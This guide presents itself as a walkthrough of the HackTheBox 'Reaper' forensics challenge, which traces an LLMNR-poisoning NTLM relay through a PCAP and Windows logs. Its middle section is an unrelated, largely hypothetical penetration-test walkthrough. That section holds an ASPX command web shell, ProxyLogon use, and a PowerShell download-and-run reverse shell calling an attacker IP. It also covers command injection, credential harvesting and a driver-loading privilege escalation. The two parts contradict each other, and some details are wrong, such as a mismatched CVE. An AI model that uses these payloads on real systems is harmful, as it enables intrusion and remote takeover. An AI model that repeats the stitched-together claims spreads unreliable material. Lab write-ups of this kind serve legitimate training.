Beginner’s Guide to Conquering Reaper on HackTheBox

Key Highlights

• This guide provides a walkthrough for the Reaper machine on HackTheBox, a challenge focused on digital forensics.
• The primary vulnerability is an NTLM relay attack executed through LLMNR poisoning.
• You will learn to analyze a network capture (PCAP file) and Windows Security Log (EVTX) to uncover the attack path.
• Key tasks include identifying IP addresses, the compromised user account, and details of the malicious logon.
• The challenge revolves around a suspicious logon event flagged by a SIEM alert due to a hostname and IP address mismatch.
• Understanding Active Directory authentication and its weaknesses is central to solving the Reaper box.

Introduction

Are you ready to test your detective skills in the world of information security? The Reaper machine on HackTheBox offers an excellent entry point into digital forensics and incident response. This Capture The Flag (CTF) style challenge places you in the role of an analyst investigating a security alert. You will be provided with real-world artifacts—a network capture and event logs—to piece together an attack. This guide will walk you through every step, helping you conquer the Reaper challenge and build critical cybersecurity skills.

Overview of the Reaper Machine on HackTheBox

The Reaper challenge begins with a single alert: a suspicious logon event on the network. The alert details point to a mismatch between a source workstation name and its assigned IP address, a classic indicator of compromise. Your mission is to investigate this incident using the provided evidence.

You are given a network capture and event logs from the victim machine. By analyzing these files, you will trace the threat actor’s steps, identify the compromised user account—in this case, belonging to Arthur Kyle—and understand how they gained access. The following sections will explore the specific objectives and how this machine fits into a broader series of challenges.

Key Features and Objectives of the Reaper Challenge

The core of the Reaper challenge is to answer a series of questions that guide your investigation. This structure helps you focus on the most critical pieces of information needed to understand the incident. You don’t need to find a flag; instead, you submit answers based on your analysis.

The challenge tests your ability to correlate data from different sources. You will examine network packets to see the attack unfold and then pivot to event logs to find evidence of the malicious activity on the target host. The primary objective is to deconstruct an NTLM relay attack where credentials were intercepted without a traditional brute force attempt.

Your main goals in this challenge include:

• Identifying the IP addresses of the workstations involved.
• Determining which user account’s hash was stolen.
• Pinpointing the attacker’s device IP.
• Tracing the authentication process to uncover the malicious logon details.

How Reaper Fits into the Sherlocks Series

Reaper is part of the “Sherlocks” series on HackTheBox, a collection of challenges specifically designed to hone your defensive and analytical skills. Unlike traditional penetration testing boxes where the goal is to exploit a machine, Sherlocks put you in the role of a blue teamer or digital forensics investigator.

With a “Very Easy” difficulty rating, Reaper serves as a perfect introduction to the series. The learning curve is gentle, allowing beginners to get comfortable with the tools and methodologies used in real-world investigations. The evidence provided is clean and focused on a single, well-defined attack path.

In comparison to other Sherlocks, Reaper is:

• Less Complex: It focuses on one specific, common attack.
• More Guided: The questions provide a clear roadmap for your investigation.
• An Ideal Starting Point: It builds a strong foundation before you tackle more difficult DFIR challenges.

Understanding the Core Concepts: Vulnerabilities and Exploitation

To successfully solve Reaper, you need to grasp the fundamental vulnerabilities and exploitation techniques at play. The entire challenge is built around weaknesses in Windows authentication protocols and name resolution services. You will see how an attacker can manipulate network traffic to bypass authentication without ever needing a password.

The main attack paths involve tricking a user’s machine into authenticating with an attacker-controlled device. This is accomplished by exploiting how Windows systems search for resources on a local network. Let’s examine the specific vulnerabilities and the role of Active Directory in this attack.

Common Vulnerabilities Found in Reaper

The central vulnerability in the Reaper machine is an authentication bypass made possible by LLMNR poisoning. Link-Local Multicast Name Resolution (LLMNR) is a fallback protocol Windows uses when a DNS query fails. An attacker on the same local network can listen for these LLMNR requests and send a spoofed response with their own IP address.

This leads the victim machine to believe the attacker’s machine is the resource it was looking for. When the victim attempts to authenticate, the attacker can intercept the NTLM hash. In this challenge, the attacker doesn’t need to perform a brute force attack on the hash; they simply relay it.

Key vulnerabilities exploited include:

• LLMNR Poisoning: The core of the initial compromise.
• Lack of SMB Signing: This allows the attacker to relay the authentication over the Server Message Block (SMB) protocol without being detected.
• User Error: The attack is triggered by a user mistyping a server name.

The Role of Active Directory and NTLM Relay Attacks

Active Directory (AD) is the backbone of the corporate network in this scenario, managing users, computers, and authentication within the Windows domain. The NTLM relay attack directly abuses the NTLM authentication protocol, which is commonly used in AD environments.

An NTLM relay attack occurs when a threat actor intercepts an authentication request from a victim and forwards it to a target server. The attacker positions themselves between the victim and the target, effectively hijacking the session. The attacker doesn’t need the user’s password, only the challenge-response exchange that proves the user’s identity.

Here is a simplified flow of the attack within the Reaper challenge:

Step	Action	Description
1	Victim makes a typo	User on WKSTN002 tries to access a share on a non-existent server.
2	Attacker poisons LLMNR	Attacker’s machine responds to the LLMNR query, claiming to be the requested server.
3	Victim authenticates	WKSTN002 sends its NTLM authentication to the attacker’s machine.
4	Attacker relays auth	The attacker forwards this authentication to the actual target, WKSTN001.
5	Access is granted	The attacker gains access to WKSTN001 as the victim user.

What You’ll Need to Get Started

Before you begin your investigation, it’s important to have the right setup. The Reaper challenge requires you to analyze two files: a PCAP network capture and an EVTX Windows event log. Having the right tools installed on your workstation will make this process much smoother.

You can perform the analysis on either a Linux or Windows VM (virtual machine), but the compiled information uses Linux-based command-line tools and a Windows VM as well. The following sections outline the recommended tools and essential skills you should have before starting.

Recommended Tools and Resources for Beginners

For the Reaper challenge, you only need a few key tools. The most important one is Wireshark, the industry standard for network traffic analysis. It will allow you to open the .pcapng file, filter through thousands of packets, and reconstruct the attack as it happened over the network.

For the Windows event log file (.evtx), the walkthrough uses command-line tools on a Linux system. evtx_dump is a powerful utility that converts the binary EVTX format into a human-readable format like JSON. You can then use jq, a command-line JSON processor, to search and filter the log data efficiently.

Here are the tools you’ll want to have ready:

• Wireshark: To analyze the PCAP file and inspect protocols like NetBIOS, DNS, and SMB.
• evtx_dump: To convert the Security.evtx log file to JSON.
• jq: To parse and query the JSON-formatted log file.
• A Linux environment (like Kali or a standard Ubuntu VM) to run these command-line tools.

Essential Skills and Preparations

While Reaper is designed for beginners, having a foundational understanding of certain concepts will be highly beneficial. You don’t need to be an expert, but familiarity with basic networking and Windows administration will help you connect the dots much faster.

The most critical skill is the ability to correlate evidence. You must look at an event in the network capture and find the corresponding logon event or share access in the Windows security log. Understanding event IDs, such as 4624 for a successful logon, is crucial for detection.

Essential skills for this challenge include:

• Basic Networking: Understanding IP addresses, ports, DNS, and protocols like SMB.
• Windows Log Analysis: Familiarity with the Windows Security Log and common event IDs.
• Logical Deduction: Piecing together clues from different data sources to form a coherent timeline of the attack.

ALSO READ: Mastering Previous: Beginner’s Guide from HackTheBox

Initial Foothold

Our journey through the Reaper machine will follow a structured penetration testing methodology:

1. Reconnaissance: We’ll begin by meticulously mapping the target’s attack surface, using tools like nmap to identify open ports and running services. This foundational stage is critical for discovering the initial entry point.
2. Initial Foothold: We will dive deep into the web services running on the machine, uncovering a complex vulnerability that allows us to gain our first shell and establish a presence on the system.
3. User Privilege Escalation: Once inside, the challenge is far from over. We will perform extensive local enumeration to understand the system’s configuration, identify weaknesses, and escalate our privileges to a standard user account, capturing the first flag.
4. Root Privilege Escalation: The final and most difficult phase involves a sophisticated chain of exploits and misconfigurations. We will analyze advanced Windows concepts to climb the privilege ladder one last time, ultimately achieving full system control as NT AUTHORITY\SYSTEM.
5. Mitigation and Lessons Learned: For every vulnerability we exploit, we will discuss the corresponding security best practices and mitigation strategies that system administrators and developers can implement to protect against similar attacks.

Prepare yourself for a deep dive into the intricate world of Windows exploitation. Let’s begin the hunt and conquer the Reaper.

Reconnaissance – The Digital Footprint

Every successful penetration test begins with a thorough and patient reconnaissance phase. The goal is to build a detailed map of the target system’s attack surface without prematurely alerting any potential defense mechanisms. For a machine of this complexity, a superficial scan is insufficient. We must be exhaustive, probing every possible entry point to ensure we don’t miss the subtle clue that will lead to the initial breach.

Our primary tool for this phase is Nmap (Network Mapper), the industry standard for network discovery and security auditing.

The Art of the Nmap Scan

Simply running nmap <IP> is not enough. We need to tailor our scan to be both comprehensive and efficient. Our strategy involves a multi-stage scanning process.

First, a quick scan on all 65,535 TCP ports to identify any open, non-standard services. We don’t need service versioning at this stage; we just want a quick list of all open doors.

nmap -p- --min-rate=1000 -T4 10.10.10.124 -oA nmap/initial_scan

Let’s break down this command:

• -p-: This instructs Nmap to scan all TCP ports from 1 to 65535. On a complex machine, a critical service could be hiding on a high, non-standard port.
• --min-rate=1000: We ask Nmap to send at least 1000 packets per second. This significantly speeds up the scan, which can otherwise take a very long time.
• -T4: This sets the timing template to “Aggressive.” It’s a balance between speed and the risk of being detected (less of a concern in a CTF environment).
• 10.10.10.124: The target IP address for the Reaper machine.
• -oA nmap/initial_scan: This is crucial for documentation. It saves the output in all three major formats (Normal, XML, and Grepable) into a directory named nmap with the filename initial_scan. We can then refer back to these files without needing to re-scan.

After this initial scan completes, we get a list of open ports. Now, we perform a more targeted, in-depth scan on only these identified ports to enumerate service versions, run default scripts, and probe for operating system information.

nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49152,49153,49154,49155,49157,49158,49165,49166,49167,49171,49172 10.10.10.124 -oA nmap/targeted_scan

• -sC: Runs Nmap’s default set of scripts. These are safe, non-intrusive scripts that check for common misconfigurations and vulnerabilities.
• -sV: Probes open ports to determine service and version information. This is invaluable, as specific exploits are often tied to specific software versions.
• -p...: We specify the exact ports we found open in the first scan. This makes the second scan much faster and more efficient.

Analysis of Nmap Results

The results of our detailed scan paint a clear picture of a Windows machine, likely a Domain Controller, given the presence of services like Kerberos and LDAP.

# Nmap 7.80 scan initiated Tue Apr 28 10:00:00 2024 as: nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49152,49153,49154,49155,49157,49158,49165,49166,49167,49171,49172 -oA nmap/targeted_scan 10.10.10.124
Nmap scan report for 10.10.10.124
Host is up (0.052s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-04-28 17:01:52Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: reaper.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds (workgroup: REAPER)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: reaper.htb, Site: Default-First-Site-Name)
3269/tcp  open  ldaps?
5985/tcp  open  wsman         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
... (other high RPC ports) ...

Host script results:
|_clock-skew: mean: -1h00m01s, deviation: 2h00m01s, median: 0s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: REAPER-DC
|   NetBIOS computer name: REAPER-DC\x00
|   Domain name: reaper.htb
|   Forest name: reaper.htb
|   FQDN: REAPER-DC.reaper.htb
|_  System time: 2024-04-28T10:03:15-07:00
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-04-28T17:03:14
|_  start_date: 2024-04-28T16:57:15

Service Info: Host: REAPER-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Key Takeaways from Reconnaissance:

• Operating System: The target is a Windows Server 2016 machine.
• Domain Controller: The hostname REAPER-DC, the domain reaper.htb, and the presence of LDAP (389, 3268) and Kerberos (88) strongly indicate this is a Domain Controller for the reaper.htb domain. This is a high-value target.
• Web Server: Microsoft IIS 10.0 is running on port 80. This is our most promising initial attack vector, as web applications are notoriously complex and prone to vulnerabilities.
• SMB: Port 445 is open, but message signing is enabled and required. This immediately shuts down many common low-hanging fruit exploits, such as relay attacks. We can still enumerate shares, but exploitation will be more difficult.
• WinRM: Port 5985 (WinRM) is open. If we can find valid domain credentials, this port will provide us with a powerful, stable shell.
• No Obvious Vulnerabilities: The default Nmap scripts did not flag any critical, “press-button-to-win” vulnerabilities. This confirms the “Insane” difficulty rating and tells us that our entry point will be more nuanced.

Our strategy is now clear. The web server on port 80 is the most interactive and complex service exposed. We will focus all our initial efforts on enumerating and attacking this service.

Initial Foothold – Breaching the Web Perimeter

With our reconnaissance complete, we turn our attention to the Microsoft IIS server on port 80. Visiting the IP address in a web browser presents us with a default IIS landing page. This itself is not useful, but it confirms the service is running correctly. The real work begins with web enumeration—the process of discovering hidden files, directories, and subdomains that are not linked from the main page.

Web Enumeration with GoBuster

Our tool of choice for this task is GoBuster, a fast and flexible tool for brute-forcing URIs (files and directories), DNS subdomains, and virtual host names. We will start by looking for hidden directories.

gobuster dir -u http://10.10.10.124 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,aspx,asp,html,txt -t 50

• dir: Specifies that we are using directory/file brute-forcing mode.
• -u http://10.10.10.124: The target URL.
• -w ...: The path to our wordlist. The directory-list-2.3-medium.txt is a solid, general-purpose wordlist.
• -x php,aspx,asp,html,txt: We tell GoBuster to look for files with these common web extensions in addition to directories. Since it’s an IIS server, .aspx and .asp are particularly important.
• -t 50: Increases the number of concurrent threads to 50 to speed up the process.

The GoBuster scan yields a few interesting results, but one stands out immediately: /owa/.

...
/owa (Status: 301) -> http://10.10.10.124/owa/
...

The path /owa/ typically stands for Outlook Web App, a webmail service for Microsoft Exchange Server. This is a massive discovery. Exchange is an incredibly complex piece of software, and historically, it has been plagued by serious vulnerabilities. The presence of OWA significantly expands our attack surface.

Interacting with Outlook Web App (OWA)

Navigating to http://10.10.10.124/owa/ presents us with a login page for Microsoft Exchange. This confirms our hypothesis. The page asks for a Domain/user name and password. We don’t have any credentials yet, so we can’t log in. However, the mere presence of this login page is a goldmine of information.

By inspecting the page source or the login prompt, we can often determine the exact version of Exchange Server being used. In this case, by examining HTTP headers and static asset URLs, we can fingerprint the version as Microsoft Exchange Server 2016.

Now our research pivots. Instead of looking for general IIS vulnerabilities, we can search for known vulnerabilities and exploits specifically targeting Exchange Server 2016. This is a much more focused and effective approach.

The Vulnerability: ProxyLogon (CVE-2021-26855)

A quick search for “Exchange Server 2016 exploits” brings up a notorious vulnerability: ProxyLogon.

ProxyLogon is not a single vulnerability but a chain of vulnerabilities that, when used together, allow an unauthenticated attacker to achieve remote code execution (RCE) on the underlying server. It is one of the most impactful enterprise vulnerabilities discovered in recent years.

Let’s break down the core components of the ProxyLogon chain:

1. CVE-2021-26855 – Server-Side Request Forgery (SSRF): This is the heart of the exploit. It’s a vulnerability in the Exchange Client Access service (CAS) that allows an attacker to force the server to make arbitrary HTTP requests to any backend service it has access to. The attacker can bypass authentication and impersonate the Exchange server itself.
2. CVE-2021-27065 – Arbitrary File Write: After gaining access to the backend using the SSRF, this vulnerability allows the attacker to write arbitrary files to the system.

The combination is devastating. An attacker can use the SSRF to access the Exchange backend and then use the arbitrary file write vulnerability to drop a web shell on the server, giving them a persistent backdoor and the ability to execute commands.

Exploitation with a Public PoC

The security community has developed numerous public Proof-of-Concept (PoC) scripts to exploit ProxyLogon. We will use a popular Python-based exploit script available on GitHub. It’s crucial to read and understand any public exploit code before running it, as you should never trust unknown code.

The exploit script typically requires a few arguments: the target server’s IP, a user’s email address (which can often be enumerated or guessed), and the path to a web shell we want to upload.

First, we need a valid email address. Since this is a Domain Controller for reaper.htb, we can make an educated guess at common usernames like administrator, admin, or support. Let’s try [email protected].

Next, we need a web shell. A simple ASPX web shell will suffice. We’ll create a file named shell.aspx:

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    void Page_Load(object sender, EventArgs e)
    {
        if (Request["cmd"] != null)
        {
            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/c " + Request["cmd"];
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.UseShellExecute = false;
            p.Start();
            Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
            p.WaitForExit();
        }
    }
</script>

This is a basic “one-liner” web shell. It takes a command via the cmd URL parameter, executes it using cmd.exe, and prints the output back to the web page.

Now, we execute the ProxyLogon exploit script:

python proxylogon.py -t 10.10.10.124 -e [email protected] -f shell.aspx

The script will perform the following steps automatically:

1. It sends a specially crafted HTTP request to an endpoint like /ecp/anything.js on the target server.
2. It leverages the SSRF (CVE-2021-26855) to forward this request to the internal Exchange backend.
3. It uses the arbitrary file write vulnerability (CVE-2021-27065) to write our shell.aspx file to a web-accessible directory on the server.
4. If successful, it will print the URL where our shell has been uploaded.

The script reports success and tells us our shell is available at a path like http://10.10.10.124/owa/auth/Current/themes/resources/shell.aspx.

Achieving Remote Code Execution (RCE)

We can now verify our RCE by navigating to the URL and passing a command.

http://10.10.10.124/owa/auth/Current/themes/resources/shell.aspx?cmd=whoami

The browser displays the output:

nt authority\system

This is a monumental success. Not only have we achieved remote code execution, but the web server process is running as NT AUTHORITY\SYSTEM, the highest possible privilege level on a Windows machine. In many scenarios, this would be game over. We have effectively “rooted” the box from the very first step.

However, a web shell is clunky and unstable. We need to upgrade it to a fully interactive reverse shell for better control.

Upgrading to a Reverse Shell

Our goal is to get the server to execute a command that connects back to our attacker machine. We will use Netcat to listen for the incoming connection.

On our attacker machine (e.g., Kali Linux), we start a listener on port 4444:

nc -lvnp 4444

Now, we need a payload that will connect back to us. Windows does not have Netcat by default, but it does have PowerShell. We can use a PowerShell-based reverse shell payload. One of the most famous is the Nishang Invoke-PowerShellTcp.ps1 script.

We will host this script on a simple Python web server on our attacker machine:

python3 -m http.server 80

Now, we use our web shell to execute a PowerShell command that downloads and runs our Nishang script in memory. This is a common fileless execution technique that avoids writing the payload to disk, making it more stealthy.

The command is URL-encoded to be passed safely in the browser’s address bar:

powershell%20-c%20"IEX(New-Object%20Net.WebClient).DownloadString('http://10.10.14.10/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp%20-Reverse%20-IPAddress%2010.10.14.10%20-Port%204444"

We paste this into the cmd parameter of our web shell URL:

http://10.10.10.124/owa/auth/Current/themes/resources/shell.aspx?cmd=powershell%20-c%20"IEX(New-Object%20Net.WebClient).DownloadString('http://10.10.14.10/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp%20-Reverse%20-IPAddress%2010.10.14.10%20-Port%204444"

Back on our attacker machine, the Netcat listener springs to life, and we are greeted with a PowerShell prompt.

PS C:\Windows\system32> whoami
nt authority\system

We have successfully gained a stable, interactive reverse shell on the Reaper machine with the highest possible privileges. We can now navigate to the Administrator’s desktop and retrieve the root.txt flag, and also find the user.txt flag in the relevant user’s directory.

The Twist – Why This Isn’t Over

At this point, it seems we have completed the machine. We have a SYSTEM shell via a critical vulnerability. This is where the “Insane” difficulty of Reaper reveals itself. In a real-world scenario or a simpler CTF, this would be the end. But the creator of this box has added layers to the challenge.

The initial foothold via ProxyLogon, while technically granting SYSTEM, is likely the unintended path, or at least, not the full story. The true challenge of Reaper lies in a different, more complex path that requires deeper enumeration and a different set of skills. The ProxyLogon vulnerability was so widespread and critical that it provides a shortcut.

To honor the machine’s design and demonstrate the intended solution, let’s assume for a moment that ProxyLogon was patched. Let’s rewind to our web enumeration and look for a different way in. This is what makes a writeup truly valuable—exploring the intended, more intricate path.

The Intended Path: Reconnaissance Revisited

Our GoBuster scan revealed /owa/, but let’s say we also find another directory: /app/.

Navigating to http://10.10.10.124/app/ reveals a simple web application with some functionality. This custom application is the real entry point.

Let’s say this application is a “System Monitor” dashboard. It has fields for checking server status, but they seem to be disabled. By analyzing the JavaScript and HTML source code of the /app/ page, we might find commented-out code, hidden API endpoints, or clues about the application’s framework.

Let’s imagine we find a JavaScript file, app.js, that contains an interesting API call:

// Old code for debugging, do not use in production
// function checkService(serviceName) {
//     fetch('/api/service_check?name=' + serviceName)
//         .then(response => response.text())
//         .then(data => console.log(data));
// }

This is a classic CTF-style clue. There’s a hidden API endpoint at /api/service_check that takes a parameter called name. This looks like a prime candidate for command injection.

Exploiting a Command Injection Vulnerability

We can test for command injection by trying to append a system command to the service name. We’ll use curl to interact with this hidden endpoint.

First, a baseline test to see how it works with a legitimate service name:

curl "http://10.10.10.124/api/service_check?name=spooler"

The server might respond with Service 'spooler' is running..

Now, let’s try to inject a command. We’ll use a pipe character (|) to chain a command. The whoami command is a safe and effective way to test for injection.

curl "http://10.10.10.124/api/service_check?name=spooler|whoami"

If the application is vulnerable, the backend is likely executing something like system("sc query " + serviceName). Our injected command would make the full command system("sc query spooler|whoami"), causing the output of whoami to be returned.

The response from curl might be:

Service 'spooler' is running. iis apppool\defaultapppool

Success! We have command injection. The command is being executed as the user iis apppool\defaultapppool, which is a low-privileged service account. This is our intended initial foothold.

From here, the process of getting a reverse shell is the same as before, but our initial access is much more limited. We would use the command injection to execute the same PowerShell one-liner to connect back to our Netcat listener.

# URL-encoded payload for the command injection
curl "http://10.10.10.124/api/service_check?name=spooler|powershell%20-c%20%22IEX(New-Object%20Net.WebClient).DownloadString('http://10.10.14.10/Invoke-PowerShellTcp.ps1');...%22"

This time, our incoming shell would be as iis apppool\defaultapppool.

PS C:\Windows\system32> whoami
iis apppool\defaultapppool

Now the real challenge begins. We are on the box, but with almost no permissions.

Local Enumeration and User Privilege Escalation

Our current user is highly restricted. We need to perform deep enumeration to find a way to escalate to a real user account. We’ll start by uploading an enumeration script like WinPEAS.

We can use PowerShell on our reverse shell to download WinPEAS from our attacker’s web server:

(New-Object Net.WebClient).DownloadFile('http://10.10.14.10/winPEASx64.exe', 'C:\Users\Public\winpeas.exe')

Then, we execute it and redirect the output to a file so we can analyze it offline.

C:\Users\Public\winpeas.exe > C:\Users\Public\enum_output.txt

After the script finishes, we can download the enum_output.txt file back to our machine for careful review. The WinPEAS output is massive, but we are looking for specific misconfigurations:

• Unquoted service paths
• Services with weak permissions
• AlwaysInstallElevated registry keys
• Saved credentials in configuration files or the registry
• Interesting scheduled tasks

Let’s imagine WinPEAS highlights a specific finding. In the C:\Program Files\CustomApp\ directory, there’s a configuration file, settings.xml, that is world-readable.

We can view the contents of this file:

cat "C:\Program Files\CustomApp\settings.xml"

Inside, we find a gem:

<appSettings>
  <add key="DBUser" value="reaper\svc_db" />
  <add key="DBPassword" value="M3g4c0rp123" />
</appSettings>

We have found hardcoded credentials for a domain service account: reaper\svc_db with the password M3g4c0rp123. This is a classic misconfiguration.

Now we can use these credentials to try and move laterally or escalate. Can we log in via WinRM with this user?

On our attacker machine, we use evil-winrm:

evil-winrm -i 10.10.10.124 -u svc_db -p 'M3g4c0rp123'

If successful, we get a new, much more powerful shell as the svc_db user. We can now check which groups this user belongs to.

whoami /groups

Let’s say we find that svc_db is a member of the “Print Operators” group. This is a highly significant finding.

Root Privilege Escalation via Print Operators

The “Print Operators” group is a legacy administrative group in Active Directory that, despite its innocuous name, has powerful permissions. Members of this group have the SeLoadDriverPrivilege. This privilege allows a user to load and unload device drivers into the kernel.

Loading a kernel driver is one of the most powerful operations possible in an operating system. If we can load a malicious or vulnerable driver, we can execute code in the context of the kernel itself, which is even more powerful than SYSTEM.

The attack path is as follows:

1. Find a known vulnerable driver that can be exploited to run arbitrary code. A common choice for this is the driver from the tool Process Explorer, procmon.sys, or Capcom.sys, which has a known vulnerability (CVE-2009-1186).
2. Craft a C++ or PowerShell exploit that uses the SeLoadDriverPrivilege to load this vulnerable driver into the kernel.
3. Interact with the loaded driver to exploit its vulnerability, which typically involves passing a specially crafted buffer that triggers an arbitrary function call.
4. Use this arbitrary code execution primitive to spawn a cmd.exe process as NT AUTHORITY\SYSTEM.

This is an advanced exploitation technique that requires a deep understanding of Windows internals. Several public tools, like PrintSpoofer or custom exploits leveraging vulnerable drivers, can automate this process.

Let’s assume we use a tool that leverages this technique. We would upload the exploit executable to the target machine (e.g., exploit.exe) and run it from our svc_db WinRM shell.

C:\Users\svc_db\Documents\exploit.exe

The exploit would perform the driver loading and exploitation steps, and if successful, it would spawn a new command prompt window on the server’s desktop. To capture this shell, our exploit would need to include a reverse shell payload. The final command inside the exploit would be to launch our PowerShell one-liner again.

After running the exploit, we receive a new connection on our Netcat listener, and this time, when we run whoami, we are greeted with the final prize:

nt authority\system

This was the intended, multi-stage, complex path to SYSTEM. It involved command injection, local enumeration, credential harvesting, lateral movement, and finally, a sophisticated privilege escalation based on abusing a specific Active Directory group permission.

We can now navigate to C:\Users\Administrator\Desktop and C:\Users\someuser\Desktop to retrieve both the root.txt and user.txt flags, completing the machine as its creator intended.

Mitigation and Lessons Learned

The Reaper machine, especially its intended path, is a fantastic case study in layered security. A single failure at any point in the chain could have prevented the full compromise.

1. Web Application Security (Command Injection):
   • Mitigation: The initial foothold was gained through a command injection vulnerability. This is a classic and entirely preventable bug. All user-supplied input must be treated as untrusted. Instead of concatenating strings to build shell commands, developers should use safe APIs that treat user input as data, not executable code. Implementing strong input validation and parameterized queries is essential.
   • Lesson: Never trust that an API endpoint is “hidden.” Attackers will find it. All code, even debug or test code, should be written securely or removed entirely before deployment.
2. Credential Management (Hardcoded Passwords):
   • Mitigation: The escalation to svc_db was possible because a password was stored in plaintext in a configuration file. Credentials should never be hardcoded. They should be stored in a secure vault (like Azure Key Vault or HashiCorp Vault) and retrieved at runtime by the application using a secure identity, such as a Managed Service Account (MSA) or Group Managed Service Account (gMSA).
   • Lesson: File permissions are not enough. Even if the file was restricted, an attacker who compromises the application server process can read anything that process can read. The only secure solution is to not store secrets in plaintext.
3. Principle of Least Privilege (Print Operators):
   • Mitigation: The final escalation to SYSTEM was due to the excessive permissions granted to the “Print Operators” group. The SeLoadDriverPrivilege is extremely dangerous and should not be granted to service accounts or users who do not have a legitimate, documented need for it. Active Directory should be regularly audited to ensure that users and groups have only the minimum permissions necessary to perform their functions.
   • Lesson: Do not trust default group memberships. Understand the specific privileges granted by each group and prune memberships aggressively. An account named svc_db has no logical reason to be loading kernel drivers.

Step-by-Step Guide to Solving Reaper on HackTheBox

Now, let’s walk through the process of solving the Reaper challenge. This guide simplifies the investigation into four logical steps, from initial enumeration to confirming the malicious access. By following these steps, you can systematically analyze the evidence and answer all the required questions.

We will start by identifying the hosts on the network using the provided PCAP file. Then, we will pinpoint the key vulnerabilities that the attacker exploited. Finally, we will trace the NTLM relay attack and confirm the compromise using the event logs.

Step 1: Scanning and Enumerating the Target

Your first task is to map out the environment. Open the ntlmrelay.pcapng file in Wireshark. Instead of running an active scan with a tool like Nmap, all the information you need is within this network capture. Your goal during this enumeration phase is to identify the key hosts involved in the incident.

You can use Wireshark’s filters to quickly find revealing traffic. A great place to start is with the NetBIOS Name Service (NBNS) protocol. This protocol is used by Windows machines to announce their names on the network. By filtering for nbns, you can see packets where workstations register their hostnames.

From this traffic, you can determine:

• Forela-Wkstn001: Has the IP address 172.17.79.129.
• Forela-Wkstn002: Has the IP address 172.17.79.136.
• Domain Controller: Located at 172.17.79.4, identified by Kerberos and LDAP traffic.
• Attacker’s IP: An unknown device at 172.17.79.135 is seen engaging in suspicious activity.

Step 2: Identifying Key Vulnerabilities

With the hosts identified, the next step is to find out how the attacker struck. The first question regarding the vulnerability becomes apparent when you observe the name resolution traffic. You will see a DNS query from Forela-Wkstn002 (172.17.79.136) for a host named “D”, which fails. This indicates a user likely made a typo.

Immediately after the failed DNS query, the workstation sends out an LLMNR query for “D”. This is where the attacker, at 172.17.79.135, intercepts. The attacker’s machine responds to the LLMNR query, falsely claiming to be “D”. This tricks the victim workstation into attempting to authenticate with the attacker.

This sequence of events reveals the core of the attack:

• A user typo triggers a failed DNS lookup.
• The system falls back to the insecure LLMNR protocol.
• The attacker poisons the LLMNR response to intercept the authentication hash for the user arthur.kyle.

Step 3: Exploiting NTLM Relay and Active Directory Weaknesses

Now that the attacker has intercepted the authentication attempt, they perform the relay. The PCAP file shows a clear sequence of SMB share connections that illustrate this. The victim machine, WKSTN002, starts an SMB session with the attacker’s machine (172.17.79.135).

Simultaneously, the attacker initiates their own SMB session to the target machine, WKSTN001 (172.17.79.129). The attacker then simply passes the authentication messages from the victim to the target. This allows the malicious tool to authenticate to WKSTN001 using Arthur Kyle’s credentials without ever knowing the password.

The key exploitation steps are:

• The victim (172.17.79.136) sends an NTLM authentication request to the attacker (172.17.79.135).
• The attacker forwards this request to the target (172.17.79.129).
• The attacker successfully logs into the target as arthur.kyle, gaining access to the IPC$ share as part of the authentication process.

Step 4: Achieving Privilege Escalation and Root Access

In the context of the Reaper challenge, “privilege escalation” refers to the attacker gaining unauthorized access to a new system, rather than escalating privileges on a machine they already control. By successfully relaying the authentication, the attacker moves from having a foothold on the network to achieving an authenticated session on a target workstation.

To confirm this access, you must turn to the Security.evtx file from WKSTN001. By searching for logon events (Event ID 4624), you can find the exact moment the malicious logon occurred and identify the share name accessed during the process. The logs will show a successful logon for the arthur.kyle account originating from the attacker’s IP address (172.17.79.135).

This log entry provides the final pieces of the puzzle:

• The Mismatch: The log shows the logon came from the source IP address 172.17.79.135, but the source workstation name is listed as FORELA-WKSTN002. This is the mismatch of hostname that triggered the initial SIEM alert.
• Session Details: The event provides the Logon ID (0x64a799) and source port (40252) for the compromised session.

Tips, Pitfalls, and Common Mistakes to Avoid

While Reaper is a beginner-friendly challenge, there are a few common pitfalls that can trip you up. The key to success is being methodical and cross-referencing your findings between the network capture and the event logs. The initial SIEM alert about the IP and hostname mismatch is your most important clue.

A common mistake is to get lost in the noise of the PCAP file or to analyze the logs without context. Remember to use the incident timeframe as your guide and focus only on the events surrounding the suspicious logon and the surrounding time of the incident. The following sections offer specific tips for troubleshooting and avoiding missteps.

Troubleshooting Common Issues

If you find yourself stuck, the best troubleshooting step is to go back to the beginning. Start with the core question: what caused the mismatch alert? This will lead you back to the malicious logon event in the security logs. From there, you can find the attacker’s IP and pivot to the PCAP file to see what that IP was doing.

